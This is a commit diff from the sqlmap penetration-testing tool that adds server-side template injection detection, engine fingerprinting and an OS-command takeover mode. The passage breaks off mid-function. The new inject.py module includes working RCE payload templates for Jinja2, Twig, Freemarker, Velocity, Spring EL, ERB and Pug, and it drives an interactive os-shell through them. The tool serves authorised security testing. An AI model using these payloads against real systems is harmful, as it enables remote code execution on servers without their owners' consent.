mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-01 14:01:09 +00:00
Adding switch --ssti
This commit is contained in:
Miroslav Štampar
parent
8ff5d3811a
commit
820efa7a8a
13 changed files with 1263 additions and 24 deletions
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@ -83,6 +83,7 @@ from lib.core.settings import GRAPHQL_ERROR_REGEX
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from lib.core.settings import HEURISTIC_CHECK_ALPHABET
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from lib.core.settings import INFERENCE_EQUALS_CHAR
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from lib.core.settings import LDAP_ERROR_REGEX
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from lib.core.settings import SSTI_ERROR_REGEX
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from lib.core.settings import XPATH_ERROR_REGEX
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from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
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from lib.core.settings import IPS_WAF_CHECK_RATIO
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@ -1202,6 +1203,13 @@ def heuristicCheckSqlInjection(place, parameter):
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if conf.beep:
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beep()
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if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""):
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infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
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logger.info(infoMsg)
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if conf.beep:
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beep()
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kb.disableHtmlDecoding = False
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kb.heuristicMode = False
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@ -548,6 +548,11 @@ def start():
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xpathScan()
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continue
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if conf.ssti:
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from lib.techniques.ssti.inject import sstiScan
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sstiScan()
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continue
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if conf.nullConnection:
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checkNullConnection()
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@ -122,6 +122,7 @@ optDict = {
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"graphql": "boolean",
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"ldap": "boolean",
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"xpath": "boolean",
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"ssti": "boolean",
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"timeSec": "integer",
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"uCols": "string",
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"uChar": "string",
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@ -172,6 +173,8 @@ optDict = {
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"lastChar": "integer",
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"sqlQuery": "string",
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"sqlShell": "boolean",
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"sstiQuery": "string",
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"sstiShell": "boolean",
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"sqlFile": "string",
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},
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@ -20,7 +20,7 @@ from lib.core.enums import OS
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from thirdparty import six
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# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
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VERSION = "1.10.6.189"
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VERSION = "1.10.6.190"
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TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
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TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
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VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
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@ -1015,6 +1015,25 @@ XPATH_MAX_DEPTH = 32
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# Upper bound for the value-length search during XPath blind extraction
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XPATH_MAX_LENGTH = 256
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# SSTI error signatures per template engine for detection and fingerprinting.
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# Each tuple is (engine_name, regex_fragment).
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SSTI_ERROR_SIGNATURES = (
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("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
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("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"),
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("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"),
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("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
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("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
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("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
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("Pug/Jade", r"pug|jade|ParseError"),
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("Handlebars", r"handlebars|Handlebars|Parse error on line"),
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("Generic SSTI", r"template.*?(?:error|syntax|exception)"),
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)
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SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
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# Upper bound for SSTI value extraction (reserved for future use)
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SSTI_MAX_LENGTH = 256
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# Length of prefix and suffix used in non-SQLI heuristic checks
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NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
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@ -92,6 +92,7 @@ def vulnTest():
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("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
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("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
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("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
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("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
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("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
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("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
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("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
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@ -415,18 +415,6 @@ def cmdLineParser(argv=None):
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techniques.add_argument("--technique", dest="technique",
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help="SQL injection techniques to use (default \"%s\")" % defaults.technique)
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techniques.add_argument("--nosql", dest="nosql", action="store_true",
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help="Test for NoSQL injection (e.g. MongoDB, CouchDB, Neo4j)")
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techniques.add_argument("--graphql", dest="graphql", action="store_true",
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help="Test for GraphQL injection (introspection, field/argument fuzzing, SQL/NoSQL payload families)")
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techniques.add_argument("--ldap", dest="ldap", action="store_true",
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help="Test for LDAP injection (filter breakout, boolean blind, auth bypass)")
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techniques.add_argument("--xpath", dest="xpath", action="store_true",
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help="Test for XPath injection (error-based, boolean-blind, blind XML tree-walking)")
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techniques.add_argument("--time-sec", dest="timeSec", type=int,
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help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
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@ -454,6 +442,21 @@ def cmdLineParser(argv=None):
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techniques.add_argument("--second-req", dest="secondReq",
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help="Load second-order HTTP request from file")
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techniques.add_argument("--graphql", dest="graphql", action="store_true",
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help="Test for GraphQL injection")
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techniques.add_argument("--ldap", dest="ldap", action="store_true",
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help="Test for LDAP injection")
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techniques.add_argument("--nosql", dest="nosql", action="store_true",
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help="Test for NoSQL injection")
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techniques.add_argument("--xpath", dest="xpath", action="store_true",
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help="Test for XPath injection")
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techniques.add_argument("--ssti", dest="ssti", action="store_true",
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help="Test for server-side template injection")
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# Fingerprint options
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fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint")
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@ -568,6 +571,12 @@ def cmdLineParser(argv=None):
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enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true",
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help="Prompt for an interactive SQL shell")
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enumeration.add_argument("--ssti-query", dest="sstiQuery",
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help="SSTI expression to evaluate in-band on the vulnerable parameter")
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enumeration.add_argument("--ssti-shell", dest="sstiShell", action="store_true",
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help="Prompt for an interactive SSTI expression shell")
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enumeration.add_argument("--sql-file", dest="sqlFile",
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help="Execute SQL statements from given file(s)")
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8
lib/techniques/ssti/__init__.py
Normal file
8
lib/techniques/ssti/__init__.py
Normal file
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@ -0,0 +1,8 @@
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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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pass
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689
lib/techniques/ssti/inject.py
Normal file
689
lib/techniques/ssti/inject.py
Normal file
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@ -0,0 +1,689 @@
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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import difflib
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import re
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import time
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from collections import namedtuple
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from lib.core.common import beep
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.convert import getUnicode
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from lib.core.data import conf
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from lib.core.data import logger
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from lib.core.enums import CUSTOM_LOGGING
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from lib.core.enums import PLACE
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from lib.core.settings import SSTI_ERROR_SIGNATURES
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from lib.core.settings import UPPER_RATIO_BOUND
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from lib.request.connect import Connect as Request
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SENTINEL = randomStr(length=10, lowercase=True)
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SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST)
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# Each Engine entry defines detection payloads and expected behaviour for one
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# template engine. Arithmetic fields use %d placeholders filled with randomInt()
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# at probe time so a static "49" on the page cannot produce a false positive.
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# Engines are listed in detection-priority order.
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Engine = namedtuple("Engine", (
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"name", # human-readable engine name
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"family", # language family (python, php, java, ruby, nodejs)
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"delimiter", # expression delimiter opening (e.g. "{{")
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"delimiterClose", # expression delimiter closing (e.g. "}}")
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"errorRegex", # combined engine-specific error regex (None for "no specific signature")
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"errorProbes", # tuple of malformed payload suffixes that trigger engine errors
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"arithmeticFmt", # arithmetic proof with two %d placeholders (e.g. "{{ %d*%d }}"), or ""
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"arithmeticUnescapedFmt", # same with escape bypass (e.g. "{{ (%d*%d)|safe }}"), or ""
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"booleanTrue", # boolean true payload
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"booleanFalse", # boolean false payload
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"trueRendered", # what true renders as (for response matching)
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"falseRendered", # what false renders as
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"distinguishingProbe", # cross-engine disambiguation probe (None if n/a)
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"distinguishingResult", # expected substring from disambiguation probe
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"expressionFmt", # format string for wrapping expressions (e.g. "{{ %s }}"), or ""
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"rcePayloads", # tuple of (payload_template, description) with {CMD} for command, or ()
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))
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def _arithmeticPayload(fmt, a, b):
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return fmt % (a, b)
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_ENGINE_TABLE = (
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# -- Python -------------------------------------------------------------------------------------------
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Engine("Jinja2", "python",
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"{{", "}}",
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r"(?i)(?:jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError)",
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("{{", "{{ }}", "{{ unknown|filter }}"),
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"{{ %d*%d }}", "{{ (%d*%d)|safe }}",
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"{{ True }}", "{{ False }}", "True", "False",
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None, None, # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"")
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"{{ %s }}",
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# Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum)
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(("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"),
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("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"),
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("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"))),
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# -- PHP ----------------------------------------------------------------------------------------------
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Engine("Twig", "php",
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"{{", "}}",
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r"(?i)(?:Twig[\\_]Error|Twig[\\_]Environment|syntax error, unexpected|Unknown (?:filter|function|test|tag))",
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("{{", "{{ }}", "{{ unknown|filter }}"),
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"{{ %d*%d }}", "{{ (%d*%d)|raw }}",
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"{{ true }}", "{{ false }}", "1", "",
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"{{ _self }}", "Twig_Template",
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"{{ %s }}",
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# Twig: try system -> exec -> shell_exec fallbacks
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(("{{ ['{CMD}']|filter('system') }}", "filter('system')"),
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("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"),
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("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"))),
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# -- Java ---------------------------------------------------------------------------------------------
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Engine("Freemarker", "java",
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"${", "}",
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r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)",
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("${", "${}", "<#if ", "<#--"),
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"${%d*%d}", "${(%d*%d)?no_esc}",
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"${true}", "${false}", "true", "false",
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"<#-- freemarker -->", "",
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"${%s}",
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# Freemarker: classic -> indirect-assign fallback
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(("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"),
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("<#assign ex='freemarker.template.utility.Execute'?new()>${ex('{CMD}')}", "assign+new"))),
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Engine("Velocity", "java",
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"$", "",
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r"(?i)(?:org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException)",
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("$", "#if(", "#set($x=)"),
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"", "",
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"#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE",
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"#* velocity *#", "",
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"", # no generic expression wrapper
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# Velocity: full reflection chain (pre-2.3 only; patched by CVE-2020-13936)
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(("#set($str=$class.inspect('java.lang.String').type)\n"
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"#set($chr=$class.inspect('java.lang.Character').type)\n"
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"#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))\n"
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"$ex.waitFor()\n"
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"#set($out=$ex.getInputStream())\n"
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"#foreach($i in [1..$out.available()])\n"
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"$str.valueOf($chr.toChars($out.read()))\n"
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"#end", "reflection chain"),)),
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Engine("Spring EL / Thymeleaf", "java",
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"${", "}",
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r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)",
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("${", "${}", "#{", "*{"),
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"${%d*%d}", "",
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"${true}", "${false}", "true", "false",
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"${#request}", "",
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"${%s}",
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(("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec"),)),
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# -- Ruby ---------------------------------------------------------------------------------------------
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Engine("ERB", "ruby",
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"<%=", "%>",
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r"(?i)(?:erb|SyntaxError|undefined local variable|no implicit conversion|wrong number of arguments|\(erb\):\d+)",
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("<%=", "<%", "<%#", "<%= foo.unknown_method %>"),
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"<%= %d*%d %>", "<%= raw %d*%d %>",
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"<%= true %>", "<%= false %>", "true", "false",
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"<%= defined? Rails %>", "",
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"<%= %s %>",
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# ERB: backtick captures output; system() returns only exit status
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(("<%= `{CMD}` %>", "backtick"),)),
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# -- Node.js ------------------------------------------------------------------------------------------
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Engine("Pug/Jade", "nodejs",
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"#{", "}",
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r"(?i)(?:pug|jade|Cannot read propert|is not a function|TypeError|ReferenceError)",
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("#{", "!{", "#{ }"),
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"#{%d*%d}", "!{%d*%d}",
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"#{true}", "#{false}", "true", "false",
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None, None,
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"#{%s}",
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(("#{global.process.mainModule.require('child_process').execSync('{CMD}')}", "execSync"),)),
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Engine("Handlebars", "nodejs",
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"{{", "}}",
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r"(?i)(?:handlebars|Handlebars|Parse error on line|\{\{[\w.]+\}\})",
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("{{", "{{#if}}", "{{/each}}"),
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"", "",
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"{{#if true}}yes{{/if}}", "{{#if false}}yes{{/if}}", "yes", "",
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None, None,
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"", # no generic expression wrapper without registered helpers
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()), # RCE requires pre-registered helpers; not generically exploitable
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)
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def _ratio(first, second):
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return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
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def _delim(place):
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return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
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def _confParameters(place):
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try:
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return conf.parameters.get(place, "")
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except AttributeError:
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return conf.parameters[place] if place in conf.parameters else ""
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def _originalValue(place, parameter):
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for segment in _confParameters(place).split(_delim(place)):
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name, _, value = segment.partition('=')
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if name.strip() == parameter:
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return value
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return conf.paramDict.get(place, {}).get(parameter) or ""
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def _replaceSegment(place, parameter, value):
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delimiter = _delim(place)
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raw = _confParameters(place)
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retVal, replaced = [], False
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for part in raw.split(delimiter):
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name, _, _ = part.partition('=')
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if not replaced and name.strip() == parameter:
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retVal.append("%s=%s" % (name, value))
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replaced = True
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else:
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retVal.append(part)
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||||
if not replaced:
|
||||
retVal = []
|
||||
for name, oldValue in conf.paramDict.get(place, {}).items():
|
||||
retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
|
||||
|
||||
return delimiter.join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value):
|
||||
"""Issue a single HTTP request with the target parameter set to `value`.
|
||||
Temporarily mutates conf.parameters so sqlmap's normal request machinery
|
||||
(URL construction, cookies, headers, encodings) is fully preserved."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
old_params = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, value)
|
||||
|
||||
try:
|
||||
kwargs = {"raise404": False, "silent": True}
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, _ = Request.getPage(**kwargs)
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("SSTI probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
finally:
|
||||
conf.parameters[place] = old_params
|
||||
|
||||
|
||||
def _isError(page, engine):
|
||||
if not engine.errorRegex:
|
||||
return False
|
||||
return bool(re.search(engine.errorRegex, getUnicode(page or "")))
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for name, regex in SSTI_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return name
|
||||
return None
|
||||
|
||||
|
||||
def _boolean(truthy, falsy):
|
||||
"""Return the reproducible true page when true/false probes diverge.
|
||||
Both true AND false pages must be independently reproducible."""
|
||||
|
||||
truePage = truthy()
|
||||
if truePage is None:
|
||||
return None
|
||||
|
||||
truePage2 = truthy()
|
||||
if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
falsePage = falsy()
|
||||
if falsePage is None:
|
||||
return None
|
||||
|
||||
falsePage2 = falsy()
|
||||
if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _probeArithmetic(place, parameter, engine):
|
||||
"""Inject a random arithmetic expression and its control pair (different
|
||||
operands, different result). Both results must appear for their respective
|
||||
payloads and NOT bleed across, proving the template is executing the expression
|
||||
rather than a static '49' appearing on the page by coincidence."""
|
||||
|
||||
if not engine.arithmeticFmt:
|
||||
return False
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
a, b = randomInt(3), randomInt(3)
|
||||
c = b + 1 # different operand -> different result
|
||||
|
||||
result1 = str(a * b)
|
||||
result2 = str(a * c)
|
||||
|
||||
for fmt in (engine.arithmeticFmt, engine.arithmeticUnescapedFmt):
|
||||
if not fmt:
|
||||
continue
|
||||
|
||||
try:
|
||||
p1 = original + _arithmeticPayload(fmt, a, b)
|
||||
p2 = original + _arithmeticPayload(fmt, a, c)
|
||||
except (ValueError, TypeError):
|
||||
logger.debug("SSTI arithmetic: format failed for engine '%s' with fmt=%r" % (engine.name, fmt))
|
||||
continue
|
||||
|
||||
page1 = _send(place, parameter, p1)
|
||||
page2 = _send(place, parameter, p2)
|
||||
|
||||
if not page1 or not page2:
|
||||
continue
|
||||
|
||||
text1 = getUnicode(page1)
|
||||
text2 = getUnicode(page2)
|
||||
|
||||
# Raw payload reflection means the template did NOT execute
|
||||
if p1 in text1 or p2 in text2:
|
||||
continue
|
||||
|
||||
# Each result must appear in its own response and NOT in the other
|
||||
if result1 in text1 and result2 not in text1 and result2 in text2 and result1 not in text2:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def _probeError(place, parameter, engine):
|
||||
"""Inject each error probe suffix and check for engine-specific error messages."""
|
||||
if not engine.errorRegex or not engine.errorProbes:
|
||||
return None
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
|
||||
for probe in engine.errorProbes:
|
||||
payload = original + probe
|
||||
page = _send(place, parameter, payload)
|
||||
if not page:
|
||||
continue
|
||||
if _isError(page, engine):
|
||||
return page
|
||||
return None
|
||||
|
||||
|
||||
def _probeDistinguishing(place, parameter, engine):
|
||||
"""Send the engine-specific fingerprint probe and verify the response.
|
||||
For probes with a non-empty expected result, the result must appear and the
|
||||
raw probe must NOT be reflected verbatim.
|
||||
For empty-result (comment-style) probes, the response must stay similar to
|
||||
baseline and the probe must NOT appear in the output."""
|
||||
|
||||
if not engine.distinguishingProbe:
|
||||
return False
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
probe = engine.distinguishingProbe
|
||||
page = _send(place, parameter, original + probe)
|
||||
if page is None:
|
||||
return False
|
||||
|
||||
text = getUnicode(page)
|
||||
|
||||
# Reject raw reflection: if the probe appears verbatim, the template didn't execute it
|
||||
if probe in text:
|
||||
return False
|
||||
|
||||
if engine.distinguishingResult:
|
||||
return engine.distinguishingResult in text
|
||||
|
||||
# Empty-result (comment-style) probe: response must stay similar to baseline
|
||||
baseline = _send(place, parameter, original)
|
||||
return _ratio(page, baseline) >= UPPER_RATIO_BOUND
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter, engine):
|
||||
"""Establish a boolean oracle for this engine. Returns the true template or None."""
|
||||
original = _originalValue(place, parameter) or ""
|
||||
|
||||
truePayload = original + engine.booleanTrue
|
||||
falsePayload = original + engine.booleanFalse
|
||||
|
||||
if engine.trueRendered:
|
||||
truePage = _send(place, parameter, truePayload)
|
||||
if not truePage:
|
||||
return None
|
||||
text = getUnicode(truePage)
|
||||
if truePayload in text or engine.trueRendered not in text:
|
||||
return None
|
||||
|
||||
# Reject reflected false payload
|
||||
falsePage = _send(place, parameter, falsePayload)
|
||||
if falsePage and falsePayload in getUnicode(falsePage):
|
||||
return None
|
||||
|
||||
return _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
|
||||
|
||||
def _booleanUniquelyIdentifies(engine):
|
||||
"""Returns True when the engine's boolean rendering signature is unique
|
||||
among all engines sharing the same delimiter, allowing exact naming."""
|
||||
siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter]
|
||||
signature = (engine.booleanTrue, engine.booleanFalse,
|
||||
engine.trueRendered, engine.falseRendered)
|
||||
count = sum((e.booleanTrue, e.booleanFalse,
|
||||
e.trueRendered, e.falseRendered) == signature for e in siblings)
|
||||
return count == 1
|
||||
|
||||
|
||||
def _fingerprint(place, parameter):
|
||||
"""Identify the template engine and confirm injection. Returns (engine, evidence)
|
||||
where evidence is a dict of detection results, or (None, None).
|
||||
|
||||
Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2).
|
||||
Engines sharing delimiters require error, distinguishing, or unique boolean
|
||||
rendering evidence to be named exactly; otherwise they are reported as family/probable."""
|
||||
|
||||
bestEngine = None
|
||||
bestEvidence = None
|
||||
bestScore = 0
|
||||
|
||||
for engine in _ENGINE_TABLE:
|
||||
evidence = {}
|
||||
score = 0
|
||||
|
||||
# Phase 1: Arithmetic in-band proof with control pair (strongest)
|
||||
if _probeArithmetic(place, parameter, engine):
|
||||
evidence["arithmetic"] = True
|
||||
score += 3
|
||||
|
||||
# Phase 2: Boolean oracle
|
||||
if _detectBoolean(place, parameter, engine):
|
||||
evidence["boolean"] = True
|
||||
score += 2
|
||||
|
||||
# Phase 3: Error-based fingerprinting
|
||||
errorPage = _probeError(place, parameter, engine)
|
||||
if errorPage is not None:
|
||||
if _isError(errorPage, engine):
|
||||
evidence["error"] = True
|
||||
score += 1
|
||||
|
||||
# Phase 4: Distinguishing probe (breaks ties within delimiter families)
|
||||
if _probeDistinguishing(place, parameter, engine):
|
||||
evidence["distinguishing"] = True
|
||||
score += 2
|
||||
|
||||
if score > bestScore:
|
||||
bestScore = score
|
||||
bestEngine = engine
|
||||
bestEvidence = evidence
|
||||
|
||||
if bestEngine and bestScore >= 3:
|
||||
# For engines with ambiguous delimiters (shared by multiple engines),
|
||||
# name a specific engine when: error fingerprint, distinguishing probe,
|
||||
# or boolean rendering is unique within the delimiter family.
|
||||
_FAMILY = {
|
||||
"{{": "Jinja2/Twig/Handlebars-like",
|
||||
"${": "Freemarker/SpringEL-like",
|
||||
}
|
||||
if bestEngine.delimiter in _FAMILY:
|
||||
if (bestEvidence.get("error") or
|
||||
bestEvidence.get("distinguishing") or
|
||||
(bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine))):
|
||||
pass # specific engine name stands
|
||||
else:
|
||||
bestEngine = bestEngine._replace(
|
||||
name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name))
|
||||
return bestEngine, bestEvidence
|
||||
|
||||
# Fallback: generic error detection
|
||||
errorBackend = None
|
||||
for suffix in ("{{", "${", "<%=", "#{"):
|
||||
page = _send(place, parameter, _originalValue(place, parameter) + suffix)
|
||||
if page:
|
||||
backend = _backendFromError(page)
|
||||
if backend:
|
||||
errorBackend = backend
|
||||
break
|
||||
|
||||
if errorBackend:
|
||||
for engine in _ENGINE_TABLE:
|
||||
if engine.name.lower() in errorBackend.lower():
|
||||
return engine, {"error": True}
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def sstiScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
infoMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints "
|
||||
infoMsg += "common template engines when possible. SQL enumeration "
|
||||
infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = 0
|
||||
found = []
|
||||
|
||||
for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing SSTI on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
engine, evidence = _fingerprint(place, parameter)
|
||||
if engine:
|
||||
found.append((place, parameter, engine, evidence))
|
||||
logger.info("%s parameter '%s' is vulnerable to SSTI (back-end: '%s')" % (place, parameter, engine.name))
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if engine.arithmeticFmt:
|
||||
payload = _originalValue(place, parameter) + (engine.arithmeticFmt % (7, 7))
|
||||
else:
|
||||
payload = _originalValue(place, parameter) + engine.booleanTrue
|
||||
title = "SSTI %s injection" % engine.name
|
||||
report = "---\nParameter: %s (%s)\n Type: SSTI\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload)
|
||||
conf.dumper.singleString(report)
|
||||
|
||||
if evidence.get("arithmetic"):
|
||||
logger.info("in-band arithmetic proof confirmed (control-pair)")
|
||||
if evidence.get("boolean"):
|
||||
logger.info("boolean oracle confirmed")
|
||||
|
||||
if not found:
|
||||
if tested:
|
||||
warnMsg = "no parameter appears to be injectable via SSTI (%d tested)" % tested
|
||||
else:
|
||||
warnMsg = "no parameters found to test for SSTI"
|
||||
logger.warning(warnMsg)
|
||||
else:
|
||||
engines = set(engine.name for _, _, engine, _ in found)
|
||||
if len(engines) == 1:
|
||||
logger.info("back-end template engine: '%s'" % engines.pop())
|
||||
else:
|
||||
logger.info("back-end template engines: %s" % ", ".join(sorted(engines)))
|
||||
|
||||
if found:
|
||||
slot = found[0]
|
||||
place, parameter, engine, evidence = slot
|
||||
|
||||
# --ssti-query: user-provided expression evaluated in-band
|
||||
if conf.get("sstiQuery"):
|
||||
_evalExpression(place, parameter, engine, conf.sstiQuery)
|
||||
|
||||
# --ssti-shell: interactive expression evaluation loop
|
||||
if conf.get("sstiShell"):
|
||||
infoMsg = "calling SSTI shell. Enter expressions (e.g. 7*7) or 'exit'/'quit' to leave"
|
||||
logger.info(infoMsg)
|
||||
from lib.core.common import readInput
|
||||
while True:
|
||||
expr = readInput("ssti-shell> ")
|
||||
if not expr or expr.strip().lower() in ("exit", "quit"):
|
||||
break
|
||||
_evalExpression(place, parameter, engine, expr.strip())
|
||||
|
||||
# --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags)
|
||||
if conf.get("osCmd") or conf.get("osShell"):
|
||||
if not _canTakeover(engine, evidence):
|
||||
logger.error("takeover requires exact engine fingerprint (got '%s') and "
|
||||
"confirmed proof (arithmetic or boolean oracle)" % engine.name)
|
||||
else:
|
||||
if conf.get("osCmd"):
|
||||
_executeCommand(place, parameter, engine, conf.osCmd)
|
||||
|
||||
if conf.get("osShell"):
|
||||
if conf.get("batch"):
|
||||
logger.info("skipping interactive OS shell in batch mode")
|
||||
else:
|
||||
infoMsg = "calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave"
|
||||
logger.info(infoMsg)
|
||||
from lib.core.common import readInput
|
||||
while True:
|
||||
cmd = readInput("os-shell> ")
|
||||
if not cmd or cmd.strip().lower() in ("exit", "quit"):
|
||||
break
|
||||
_executeCommand(place, parameter, engine, cmd.strip())
|
||||
|
||||
logger.info("SSTI scan complete")
|
||||
|
||||
|
||||
def _escapeSingleQuoted(value):
|
||||
"""Escape backslashes and single quotes for embedding in a single-quoted string."""
|
||||
return value.replace("\\", "\\\\").replace("'", "\\'")
|
||||
|
||||
|
||||
def _evalExpression(place, parameter, engine, expr):
|
||||
"""Wrap expr in the engine's expression format, extract result between
|
||||
random markers for deterministic output, fall back to baseline diff."""
|
||||
|
||||
if not engine.expressionFmt:
|
||||
logger.error("expression evaluation not supported for engine '%s'" % engine.name)
|
||||
return
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
startMarker = randomStr(length=8, lowercase=True)
|
||||
endMarker = randomStr(length=8, lowercase=True)
|
||||
|
||||
# Three-part payload: marker, expression, marker -- each in its own template tag
|
||||
# so the expression is evaluated independently of the markers
|
||||
